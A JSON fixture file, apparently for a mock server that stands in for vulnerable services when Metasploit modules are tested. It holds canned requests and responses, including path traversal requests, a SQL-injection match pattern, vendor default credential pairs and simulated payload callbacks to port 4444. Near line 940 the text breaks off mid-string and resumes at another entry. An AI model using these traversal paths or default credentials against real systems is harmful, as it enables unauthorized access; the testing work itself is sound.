10\r\n\r\nwelcome!!!"], 402 | ["starts", "GET /"], 403 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["saved"]] 404 | ] 405 | }, 406 | "auxiliary/scanner/http/http_traversal": { 407 | "defaultPort": [80], 408 | "seq": [ 409 | ["any"], 410 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 411 | ] 412 | }, 413 | "auxiliary/scanner/http/http_version": { 414 | "defaultPort": [80], 415 | "seq": [ 416 | ["any"], 417 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 418 | ] 419 | }, 420 | "auxiliary/scanner/http/iis_internal_ip": { 421 | "defaultPort": [80], 422 | "seq": [ 423 | ["any"], 424 | ["HTTP/1.1 301 Moved\r\nLocation: http://10.11.12.13/login?\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 425 | ] 426 | }, 427 | "auxiliary/scanner/http/ipboard_login": { 428 | "defaultPort": [80], 429 | "seq": [ 430 | ["substr", "ips_username=admin&ips_password=admin"], 431 | ["HTTP/1.1 200 OK\r\nSet-Cookie: ipsconnect=coppa;\r\nContent-Length: $\r\n\r\nWelcome"], 432 | ["starts", "GET /forum"], 433 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nname='auth_key' value='abc123'"], 434 | ["any"], 435 | ["HTTP/1.1 401 Unauthorized\r\nContent-Length: $\r\n\r\nPlease try again"] 436 | ] 437 | }, 438 | "auxiliary/scanner/http/jboss_vulnscan": { 439 | "defaultPort": [80], 440 | "seq": [ 441 | ["starts", "HEAD /"], 442 | ["http://10.11.12.13/login?\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 443 | ["starts", "GET /"], 444 | ["HTTP/1.1 401 Unauthorized\r\nContent-Length: $\r\n\r\nJBoss 2.0: Please try again"] 445 | ] 446 | }, 447 | "auxiliary/scanner/http/jenkins_command": { 448 | "defaultPort": [80], 449 | "seq": [ 450 | ["starts", "POST /jenkin"], 451 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=12345678;\r\nContent-Length: $\r\n\r\n
Jenkins.instance.pluginManager.plugins
java.plugin: ver2.0
"], 452 | ["starts", "GET /jenkins/systemInfo HTTP"], 453 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=12345678;\r\nContent-Length: $\r\n\r\nSystem Properties\nEnvironment Variables\nRemember me on this computer\n\".crumb\", \"abcd1234\"\nos.nameWindows7\nos.version"] 454 | ] 455 | }, 456 | "auxiliary/scanner/http/jenkins_enum": { 457 | "defaultPort": [80], 458 | "seq": [ 459 | ["starts", "GET /jenkins"], 460 | ["HTTP/1.1 200 OK\r\nX-Jenkins: 2.0\r\nSet-Cookie: JSESSIONID=12345678;\r\nContent-Length: $\r\n\r\nSystem Properties\nEnvironment Variables\nRemember me on this computer\n\".crumb\", \"abcd1234\"\nos.nameWindows7\nos.version"] 461 | ] 462 | }, 463 | "auxiliary/scanner/http/joomla_bruteforce_login": { 464 | "defaultPort": [80], 465 | "seq": [ 466 | ["starts", "GET /login"], 467 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSID=12345;\r\nContent-Length: $\r\n\r\n
"], 468 | ["substr", "username=vagrant&passwd=vagrant"], 469 | ["HTTP/1.1 302 Moved\r\nLocation: /main.html\r\nContent-Length: $\r\n\r\n"], 470 | ["any"], 471 | ["HTTP/1.1 302 Moved\r\nLocation: /login\r\nContent-Length: $\r\n\r\nmod-login-username"] 472 | ] 473 | }, 474 | "auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner": { 475 | "defaultPort": [80], 476 | "seq": [ 477 | ["regex", "CONCAT\\%..0x([0-9a-f]+)\\%..0x([0-9a-f]+)\\%..0x([0-9a-f]+)"], 478 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["H*", "$1"],["H*", "$2"],["H*", "$3"]] 479 | ] 480 | }, 481 | "auxiliary/scanner/http/joomla_gallerywd_sqli_scanner": { 482 | "defaultPort": [80], 483 | "seq": [ 484 | ["regex", "CONCAT\\%..0x([0-9a-f]+)\\%..0x([0-9a-f]+)\\%..0x([0-9a-f]+)"], 485 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["H*", "$1"],["H*", "$2"],["H*", "$3"]] 486 | ] 487 | }, 488 | "auxiliary/scanner/http/joomla_pages": { 489 | "defaultPort": [80], 490 | "seq": [ 491 | ["starts", "GET /admin/ HTTP/1.1"], 492 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nadministration console\n"], 493 | ["any"], 494 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n"] 495 | ] 496 | }, 497 | "auxiliary/scanner/http/joomla_plugins": { 498 | "desc": "there is a bug in this module, raised the issue in #7854", 499 | "defaultPort": [80], 500 | "seq": [ 501 | ["starts", "GET / "], 502 | ["HTTP/1.1 200 Ok\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 503 | ["any"], 504 | ["HTTP/1.1 200 Ok\r\nContent-Length: 15\r\n\r\nfoundit plugin!"] 505 | ] 506 | }, 507 | "auxiliary/scanner/http/joomla_version": { 508 | "defaultPort": [80], 509 | "seq": [ 510 | ["starts", "GET /administrator/manifests/files/joomla.xml"], 511 | ["HTTP/1.1 200 OK\r\nServer: joomla 2.0\r\nContent-Length: $\r\n\r\nver2.0"], 512 | ["starts", "GET / "], 513 | ["HTTP/1.1 200 OK\r\nServer: joomla 2.0\r\nContent-Length: $\r\n\r\n"], 514 | ["any"], 515 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 516 | ] 517 | }, 518 | "auxiliary/scanner/http/linknat_vos_traversal": { 519 | "defaultPort": [80], 520 | "seq": [ 521 | ["any"], 522 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 523 | ] 524 | }, 525 | "auxiliary/scanner/http/linksys_e1500_traversal": { 526 | "defaultPort": [80], 527 | "seq": [ 528 | ["any"], 529 | ["HTTP/1.1 200 OK\r\nServer: httpd\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 530 | ] 531 | }, 532 | "auxiliary/scanner/http/litespeed_source_disclosure": { 533 | "defaultPort": [80], 534 | "seq": [ 535 | ["any"], 536 | ["HTTP/1.1 200 OK\r\nServer: LiteSpeed\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 537 | ] 538 | }, 539 | "auxiliary/scanner/http/lucky_punch": { 540 | "desc": "the code is not complete, just send the req.", 541 | "defaultPort": [80], 542 | "seq": [ 543 | ["any"], 544 | ["HTTP/1.1 200 OK\r\nServer: LiteSpeed\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 545 | ] 546 | }, 547 | "auxiliary/scanner/http/cisco_asa_asdm": { 548 | "defaultPort": [443], 549 | "seq": [ 550 | ["starts", "GET "], 551 | ["HTTP/1.1 401 Not Authorized\r\nWWW-Authenticate: NTLM\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 552 | ["starts", "POST "], 553 | ["HTTP/1.1 200 OK\r\nContent-Length: 32\r\n\r\nSSL VPN Service Success success!"] 554 | ] 555 | }, 556 | "auxiliary/scanner/http/owa_login": { 557 | "defaultPort": [443], 558 | "extraCmds": "set USERPASS_FILE userpass.lst", 559 | "seq": [ 560 | ["starts", "GET /aspnet_client"], 561 | ["HTTP/1.1 401 Not Authorized\r\nWWW-Authenticate:NTLM TlRMTVNTUAACAAAADAAMADAAAAABAoEAAAABI0VnZXhhbXBsZQAAAAAAYgBiADwAAAAAAEQATwBNAEEASQBOAAIADABEAE8ATQBBAAAASQBOAAEADABTAEUAUgBWAEUAUgAEABQAAABkAG8AbQBhAGkAbgAuAGMAbwBtAAMAIgAAAHMAZQByAHYAZQByAC4AZABvAG0AYQBpAAAAbgAuAGMAbwBtAAAAAAA=\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 562 | ["substr", "username=DOMA\\root&password=password"], 563 | ["HTTP/1.1 301 Redirect\r\nLocation: /expiredpassword\r\nContent-Length: 0\r\n\r\n"], 564 | ["starts", "POST /owa/auth.owa"], 565 | ["HTTP/1.1 301 Redirecte\r\nLocation: /login?reason=mismatch\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 566 | ] 567 | }, 568 | "auxiliary/scanner/http/cisco_ironport_enum": { 569 | "defaultPort": [443], 570 | "seq": [ 571 | ["starts", "GET / "], 572 | ["HTTP/1.1 200 OK\r\nSet-Cookie: sessid=123;\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 573 | ["starts", "GET /help/wwhelp/wwhimpl/common"], 574 | ["HTTP/1.1 200 OK\r\nContent-Length: 77\r\n\r\nCisco IronPort AsyncOS 10.2 for Security Management Appliances"], 575 | ["substr", "username=admin&password=ironport"], 576 | ["HTTP/1.1 200 OK\r\nSet-Cookie: authenticated=1;\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 577 | ] 578 | }, 579 | "auxiliary/scanner/http/chef_webui_login": { 580 | "defaultPort": [443], 581 | "seq": [ 582 | ["starts", "GET /users/login"], 583 | ["HTTP/1.1 200 OK\r\nContent-Length: 87\r\n\r\nChef Server"], 584 | ["starts", "GET /users/admin/edit"], 585 | ["HTTP/1.1 200 OK\r\nContent-Length: 25\r\n\r\nNew password for the User"], 586 | ["substr", "name=admin&password=admin"], 587 | ["HTTP/1.1 302 Moved\r\nContent-Length: 25\r\n\r\nNew password for the User"], 588 | ["starts", "POST /users/login_exec"], 589 | ["HTTP/1.1 200 OK\r\nContent-Length: 25\r\n\r\nNew password for the User"] 590 | ] 591 | }, 592 | "auxiliary/scanner/http/cisco_nac_manager_traversal": { 593 | "defaultPort": [443], 594 | "seq": [ 595 | ["any"], 596 | ["HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: $\r\n\r\n{\"message\": \"success\"}"] 597 | ] 598 | }, 599 | "auxiliary/scanner/http/cisco_ssl_vpn": { 600 | "defaultPort": [443], 601 | "seq": [ 602 | ["substr", "password=cisco"], 603 | ["HTTP/1.1 200 OK\r\nContent-Length: 29\r\n\r\nSSL VPN Service,webvpn_logout"], 604 | ["substr", "fcadbadd=1 HTTP"], 605 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwebvpnlogin"], 606 | ["starts", "GET /+CSCOE+/logon.html"], 607 | ["HTTP/1.1 302 Moved\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 608 | ["any"], 609 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 610 | 611 | ] 612 | }, 613 | "auxiliary/scanner/http/cisco_ssl_vpn_priv_esc": { 614 | "defaultPort": [443], 615 | "seq": [ 616 | ["starts", "GET /admin/exec/show+version"], 617 | ["HTTP/1.1 200 OK\r\nSet-Cookie: webvpn=1234;\r\nContent-Length: 55\r\n\r\nCisco Adaptive Security Appliance Software Version 10.87"], 618 | ["substr", "password=clientless"], 619 | ["HTTP/1.1 200 OK\r\nSet-Cookie: webvpn=1234;\r\nContent-Length: 29\r\n\r\nSSL VPN Service,webvpn_logout"], 620 | ["substr", "fcadbadd=1 HTTP"], 621 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwebvpnlogin"], 622 | ["starts", "GET /+CSCOE+/logon.html"], 623 | ["HTTP/1.1 302 Moved\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 624 | ["any"], 625 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 626 | 627 | ] 628 | }, 629 | "auxiliary/scanner/http/dell_idrac": { 630 | "defaultPort": [443], 631 | "seq": [ 632 | ["starts", "GET "], 633 | ["HTTP/1.1 200 OK\r\nContent-Length: 13\r\n\r\n1"], 634 | ["substr", "password=calvin"], 635 | ["HTTP/1.1 200 OK\r\nContent-Length: 26\r\n\r\n0<\/authResult>"], 636 | ["starts", "POST "], 637 | ["HTTP/1.1 200 OK\r\nContent-Length: 26\r\n\r\n6<\/authResult>"] 638 | ] 639 | }, 640 | "auxiliary/scanner/http/http_hsts": { 641 | "defaultPort": [443], 642 | "seq": [ 643 | ["starts", "GET / HTTP/1.1"], 644 | ["HTTP/1.1 200 OK\r\nStrict-Transport-Security: max-age=31536000\r\nContent-Length: 0\r\n\r\n"] 645 | ] 646 | }, 647 | "auxiliary/scanner/http/infovista_enum": { 648 | "defaultPort": [443], 649 | "seq": [ 650 | ["starts", "GET /VPortal/ HTTP/1.1"], 651 | ["HTTP/1.1 200 OK\r\nStrict-Transport-Security: max-age=31536000\r\nContent-Length: 0\r\n\r\n", "InfoVista VistaPortal\nPORTAL_VERSION = 2.0"], 652 | ["starts", "POST /VPortal/mgtconsole/CheckPassword.jsp"], 653 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nlocation.href AdminFrame.jsp"] 654 | ] 655 | }, 656 | "auxiliary/scanner/http/glassfish_login": { 657 | "defaultPort": [4848], 658 | "seq": [ 659 | ["starts", "GET /common/applications/uploadFrame.jsf"], 660 | ["HTTP/1.1 200 OK\r\nServer: GlassFish v3\r\nContent-Length: 37\r\n\r\nDeploy Applications or Modules"], 661 | ["substr", "j_username=root&j_password=password"], 662 | ["HTTP/1.1 302 Moved\r\nServer: GlassFish v3\r\nContent-Length: 45\r\n\r\n<title>Deploy Enterprise Applications/Modules"], 663 | ["starts", "POST /j_security_check"], 664 | ["HTTP/1.1 404 Not Found\r\nServer: GlassFish v3\r\nContent-Length: 45\r\n\r\n<title>Deploy Enterprise Applications/Modules"], 665 | ["starts", "GET /login.jsf"], 666 | ["HTTP/1.1 302 Moved\r\nServer: GlassFish Server 3.2\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 667 | ["starts", "GET /common/index.jsf"], 668 | ["HTTP/1.1 200 OK\r\nServer: GlassFish v2\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 669 | ["any"], 670 | ["HTTP/1.1 404 Not Found\r\nServer: GlassFish v2\r\nContent-Length: 10\r\n\r\nTry again!"] 671 | ] 672 | }, 673 | "auxiliary/scanner/x11/open_x11": { 674 | "defaultPort": [6000], 675 | "seq": [ 676 | ["equal", ["H*", "6c000b000000000000000000"]], 677 | [["C", 1], ["repeat", " ", 23], ["v", 12], ["repeat", " ", 14], "rapid7rocks!"] 678 | ] 679 | }, 680 | "auxiliary/scanner/http/manageengine_deviceexpert_traversal": { 681 | "defaultPort": [6060], 682 | "seq": [ 683 | ["any"], 684 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 685 | ] 686 | }, 687 | "auxiliary/scanner/http/manageengine_deviceexpert_user_creds": { 688 | "defaultPort": [6060], 689 | "seq": [ 690 | ["starts", "GET /ReadUsersFromMasterServlet"], 691 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n<discoverydata><username>john</username><password>vZnXhXX9w+nNPeTeHKGW2g</password><userrole>admin</userrole><emailid>john@abc.com</emailid><saltvalue>deadface</saltvalue></discoverydata>"] 692 | ] 693 | }, 694 | "auxiliary/scanner/http/appletv_login": { 695 | "defaultPort": [7000], 696 | "seq": [ 697 | ["any"], 698 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 699 | ] 700 | }, 701 | "auxiliary/scanner/http/groupwise_agents_http_traversal": { 702 | "defaultPort": [7181], 703 | "seq": [ 704 | ["any"], 705 | ["HTTP/1.1 200 OK\r\nServer: GroupWise\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 706 | ] 707 | }, 708 | "exploit/linux/http/tr064_ntpserver_cmdinject": { 709 | "defaultPort": [7547], 710 | "seq": [ 711 | ["starts", "GET /globe"], 712 | ["HTTP/1.1 404 OK\r\nContent-Length: 12\r\n\r\nhome_wan.htm"], 713 | ["substr", "SetNTPServers"], 714 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 715 | ["substr", "GetSecurityKeys"], 716 | ["HTTP/1.1 200 OK\r\nContent-Length: 42\r\n\r\nNewPreSharedKey>987654321<\/NewPreSharedKey"] 717 | ] 718 | }, 719 | "auxiliary/scanner/http/barracuda_directory_traversal": { 720 | "defaultPort": [8000], 721 | "seq": [ 722 | ["any"], 723 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["append", "<html>", ["repeat", " ", 100], "<div src=\"barracuda.css\"></div>hello world</html>"]] 724 | ] 725 | }, 726 | "auxiliary/scanner/http/chromecast_webserver": { 727 | "defaultPort": [8008], 728 | "seq": [ 729 | ["substr", "j_username=admin&j_password=admin&"], 730 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 731 | ["any"], 732 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "{\"name\": \"jon\", \"ssid\": \"myPrivateSSID\"}"] 733 | ] 734 | }, 735 | "auxiliary/scanner/http/manageengine_desktop_central_login": { 736 | "defaultPort": [8020], 737 | "seq": [ 738 | ["substr", "j_username=admin&j_password=admin&"], 739 | ["HTTP/1.1 302 Moved\r\nLocation: /main.html\r\nContent-Length: 0\r\n\r\n"], 740 | ["any"], 741 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nManageEngine Desktop Central"] 742 | ] 743 | }, 744 | "auxiliary/scanner/http/axis_local_file_include": { 745 | "defaultPort": [8080], 746 | "seq": [ 747 | ["any"], 748 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "axisconfig<div>parameter name=\"userName\">jdole</div><div>parameter name=\"password\">pass123</div>"] 749 | ] 750 | }, 751 | "auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal": { 752 | "defaultPort": [8080], 753 | "seq": [ 754 | ["starts", "GET /imc/login.jsf"], 755 | ["HTTP/1.1 200 OK\r\nContent-Length: 32\r\n\r\nHP Intelligent Management Center"], 756 | ["starts", "GET /imc/bimsDownload?fileName=../.."], 757 | ["HTTP/1.1 200 OK\r\nContent-Type: application/doc\r\nContent-Length: 10\r\n\r\nmy secrete"] 758 | ] 759 | }, 760 | "auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal": { 761 | "defaultPort": [8080], 762 | "seq": [ 763 | ["starts", "GET /imc/login.jsf"], 764 | ["HTTP/1.1 200 OK\r\nContent-Length: 32\r\n\r\nHP Intelligent Management Center"], 765 | ["starts", "GET /imc/tmp/fault/download?fileName=../../"], 766 | ["HTTP/1.1 200 OK\r\nContent-Type: application/doc\r\nContent-Length: 10\r\n\r\nmy secrete"] 767 | ] 768 | }, 769 | "auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal": { 770 | "defaultPort": [8080], 771 | "seq": [ 772 | ["starts", "GET /imc/login.jsf"], 773 | ["HTTP/1.1 200 OK\r\nContent-Length: 32\r\n\r\nHP Intelligent Management Center"], 774 | ["starts", "GET /imc/tmp/ict/download?fileName=../../"], 775 | ["HTTP/1.1 200 OK\r\nContent-Type: application/doc\r\nContent-Length: 10\r\n\r\nmy secrete"] 776 | ] 777 | }, 778 | "auxiliary/scanner/http/hp_imc_reportimgservlt_traversal": { 779 | "seq": [ 780 | ["starts", "GET /imc/login.jsf"], 781 | ["HTTP/1.1 200 OK\r\nContent-Length: 32\r\n\r\nHP Intelligent Management Center"], 782 | ["starts", "GET /imc/reportImg?path=../.."], 783 | ["HTTP/1.1 200 OK\r\nContent-Type: image/png\r\nContent-Length: 10\r\n\r\nmy secrete"] 784 | ] 785 | }, 786 | "auxiliary/scanner/http/hp_imc_som_file_download": { 787 | "defaultPort": [8080], 788 | "seq": [ 789 | ["starts", "GET /servicedesk/ServiceDesk.jsp"], 790 | ["HTTP/1.1 200 OK\r\nContent-Type: application/doc\r\nContent-Length: $\r\n\r\nservicedesk/servicedesk"], 791 | ["starts", "GET /servicedesk/servicedesk/fileDownload?OperType"], 792 | ["HTTP/1.1 200 OK\r\nContent-Type: application/doc\r\nContent-Length: $\r\n\r\nMy secret, hahaha"] 793 | ] 794 | }, 795 | "auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess": { 796 | "defaultPort": [8080], 797 | "seq": [ 798 | ["starts", "GET /SiteScope/services/APISiteScopeImpl HTTP"], 799 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nWelcome"], 800 | ["substr", "testme.rapid7.com"], 801 | ["HTTP/1.1 200 OK\r\nContent-Type: multipart; boundary=\"123456789\"\r\nContent-Length: $\r\n\r\ngetFileInternalReturn href=\"cid:DEADFACE\"\r\nDEADFACE>\r\n\r\n", ["gzip", "my secrets are all here!!"], "\r\n--123456789"], 802 | ["starts", "POST /SiteScope/services/"], 803 | ["HTTP/1.1 500 Internal Error\r\nContent-Length: $\r\n\r\n<ns3:hostname xmlns:ns3=\"http://xml.apache.org/axis/\">testme.rapid7.com</ns3:hostname>"] 804 | ] 805 | }, 806 | "auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration": { 807 | "defaultPort": [8080], 808 | "seq": [ 809 | ["starts", "GET /SiteScope/services/APISiteScopeImpl HTTP"], 810 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nWelcome"], 811 | ["starts", "POST /SiteScope/services/APISiteScopeImpl"], 812 | ["HTTP/1.1 200 OK\r\nContent-Type: multipart; boundary=\"123456789\"\r\nContent-Length: $\r\n\r\ngetSiteScopeConfigurationReturn href=\"cid:DEADFACE\"\r\nDEADFACE>\r\n\r\n", ["gzip", "my secrets are all here!!"], "\r\n--123456789"] 813 | ] 814 | }, 815 | "auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess": { 816 | "defaultPort": [8080], 817 | "seq": [ 818 | ["starts", "GET /SiteScope/services/APIMonitorImpl HTTP"], 819 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nWelcome"], 820 | ["starts", "POST /SiteScope/services/APIMonitorImpl"], 821 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n<loadFileContentReturn xsi:type=\"xsd:string\">This is my secret hahahah!!!</loadFileContentReturn>"] 822 | ] 823 | }, 824 | "auxiliary/scanner/http/jboss_status": { 825 | "defaultPort": [8080], 826 | "seq": [ 827 | ["any"], 828 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\n<title>Tomcat Status1<\/td>2<\/td>3<\/td>4<\/td>50<\/td>60<\/td><\/tr>1b<\/td>2b<\/td>3b<\/td>4b<\/td>50b<\/td>60b<\/td><\/tr>"] 829 | ] 830 | }, 831 | "auxiliary/scanner/http/jenkins_login": { 832 | "defaultPort": [8080], 833 | "seq": [ 834 | ["substr", "j_username=admin&j_password=admin"], 835 | ["HTTP/1.1 302 Moved\r\nLocation: /index.html\r\nContent-Length: $\r\n\r\nTomcat Status"], 836 | ["any"], 837 | ["HTTP/1.1 302 Moved\r\nLocation: /loginError\r\nContent-Length: $\r\n\r\nTomcat Status"] 838 | ] 839 | }, 840 | "auxiliary/scanner/http/influxdb_enum": { 841 | "defaultPort": [8086], 842 | "seq": [ 843 | ["starts", "GET /db HTTP"], 844 | ["HTTP/1.1 200 OK\r\nX-Influxdb-Version: 2.0\r\nContent-Length: $\r\n\r\n", "{\"user\": \"admin\", \"password\": \"letmein\"}"] 845 | ] 846 | }, 847 | "auxiliary/scanner/http/apache_activemq_traversal": { 848 | "defaultPort": [8161], 849 | "seq": [ 850 | ["starts", "GET /\\.."], 851 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["file", "secret.txt"]] 852 | ] 853 | }, 854 | "auxiliary/scanner/http/apache_activemq_source_disclosure": { 855 | "defaultPort": [8161], 856 | "seq": [ 857 | ["starts", "GET /admin/index.jsp"], 858 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["file", "secret.txt"]] 859 | ] 860 | }, 861 | "auxiliary/scanner/http/atlassian_crowd_fileaccess": { 862 | "defaultPort": [8095], 863 | "seq": [ 864 | ["starts", "GET "], 865 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 866 | ["starts", "POST /crowd/services"], 867 | ["HTTP/1.1 500 Server Internal Error\r\nContent-Length: $\r\n\r\n", "Invalid boolean value: ?9876543210haha"] 868 | ] 869 | }, 870 | "auxiliary/scanner/http/elasticsearch_traversal": { 871 | "defaultPort": [9200], 872 | "seq": [ 873 | ["substr", "location\":\"dsr"], 874 | ["HTTP/1.1 200 OK\r\nContent-Length: 4\r\n\r\ntrue"], 875 | ["starts", "GET _snapshot/pwn/ev1l"], 876 | ["HTTP/1.1 400 Error\r\nContent-Length: 41\r\n\r\n{\"error\": \"32x32x115x101x99x114x101x116\"}"] 877 | ] 878 | }, 879 | "exploit/linux/http/atutor_filemanager_traversal": { 880 | "defaultPort": [80], 881 | "seq": [ 882 | ["starts", "GET /ATutor/mods/"], 883 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nGot it", ["action", ["connect", ":4444"]]], 884 | ["starts", "GET "], 885 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n/root/jscripts/ATutor_js.php "], 886 | ["starts", "POST /ATutor/mods/_standard/tests/question_import.php"], 887 | ["HTTP/1.1 302 Moved\r\nLocation: question_db.php\r\nContent-Length: 4\r\n\r\ntrue"], 888 | ["any"], 889 | ["HTTP/1.1 302 Moved\r\nLocation: bounce.php?course=0\r\nSet-Cookie: ATutorID=123a; ATutorID=123b; ATutorID=123c; ATutorID=123d;\r\nContent-Length: 4\r\n\r\ntrue"] 890 | ] 891 | }, 892 | "exploit/linux/http/kloxo_sqli": { 893 | "defaultPort": [7778], 894 | "seq": [ 895 | ["starts", "GET /display.php"], 896 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n\n\n "], 897 | ["starts", "POST /display.php"], 898 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\nGot it", ["action", ["connect", ":4444"]]], 899 | ["starts", "POST /htmllib/phplib/"], 900 | ["HTTP/1.1 302 Moved\r\nLocation: question_db.php\r\nSet-Cookie: sessionid=10001\r\nContent-Length: 4\r\n\r\ntrue"], 901 | ["starts", "GET /lbin/webcommand.php?login"], 902 | [["function", "kloxo_sqli"]], 903 | ["starts", "GET /lbin/webcommand.php"], 904 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n__error_only_clients_and_auxiliary_allowed_to_login"] 905 | ] 906 | }, 907 | "exploit/linux/http/riverbed_netprofiler_netexpress_exec": { 908 | "defaultPort": [443], 909 | "seq": [ 910 | ["starts", "POST /index.php?page=licenses"], 911 | ["HTTP/1.1 200 OK\r\nSet-Cookie: SESSID=1234;\r\nContent-Length: $\r\n\r\nuid=1234567"], 912 | ["any"], 913 | ["HTTP/1.1 200 OK\r\nSet-Cookie: SESSID=1234;\r\nContent-Length: $\r\n\r\nnonce_value"] 914 | ] 915 | }, 916 | "exploit/linux/http/symantec_web_gateway_restore": { 917 | "defaultPort": [443], 918 | "seq": [ 919 | ["substr", "multipart/form-data"], 920 | ["HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=1234;\r\nContent-Length: \r\n\r\n", ["action", ["connect", ":4444"]]], 921 | ["starts", "POST /spywall/login"], 922 | ["HTTP/1.1 302 Moved\r\nSet-Cookie: PHPSESSID=1234;\r\nLocation: executive_summary.php\r\nContent-Length: 0\r\n\r\n"], 923 | ["any"], 924 | ["HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=1234;\r\nContent-Length: $\r\n\r\nhello world"] 925 | ] 926 | }, 927 | "exploit/linux/http/tp_link_sc2020n_authenticated_telnet_injection": { 928 | "defaultPort": [80], 929 | "comment": "", 930 | "seq": [ 931 | ["any"], 932 | ["HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=1234;\r\nContent-Length: $\r\n\r\nhello world"] 933 | ] 934 | }, 935 | "exploit/linux/http/trendmicro_sps_exec": { 936 | "defaultPort": [80], 937 | "comment": "", 938 | "seq": [ 939 | ["any"], 940 | ["HTTP/1.1 200 OK\r\nSet-Cookie: PHPSESSID=1234;\r\nContent-Length: $\r\n\r\n/root/jscripts/ATutor_js.php "], 951 | ["starts", "POST /ATutor/mods/_standard/tests/question_import.php"], 952 | ["HTTP/1.1 302 Moved\r\nLocation: question_db.php\r\nContent-Length: 4\r\n\r\ntrue"], 953 | ["any"], 954 | ["HTTP/1.1 302 Moved\r\nLocation: bounce.php?course=0\r\nSet-Cookie: ATutorID=123a; ATutorID=123b; ATutorID=123c; ATutorID=123d;\r\nContent-Length: 4\r\n\r\ntrue"] 955 | ] 956 | }, 957 | "exploit/multi/http/glassfish_deployer": { 958 | "defaultPort": [4848], 959 | "comment": "", 960 | "seq": [ 961 | ["substr", "/applications/upload.jsf?appType=webApp"], 962 | ["HTTP/1.1 302 Moved\r\nContent-Length: $\r\n\r\n"], 963 | ["any"], 964 | ["HTTP/1.1 200 OK\r\nServer: Sun GlassFish Enterprise Server v2\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\nDeploy Enterprise Applications/Modules\nos.name = Linux\nos.arch = x86"] 965 | ] 966 | }, 967 | "exploit/multi/http/jira_hipchat_template": { 968 | "defaultPort": [8080], 969 | "comment": "TBD: just got login part done.", 970 | "seq": [ 971 | ["starts", "GET /secure/Dashboard.jspa"], 972 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n"], 973 | ["starts", "POST /rest/gadget/1.0/login"], 974 | ["HTTP/1.1 200 OK\r\nSet-Cookie: JSESSIONID=1234;\r\nContent-Length: $\r\n\r\n{\"loginSucceeded\": true}"] 975 | ] 976 | }, 977 | "exploit/multi/http/jira_hipchat_template": { 978 | 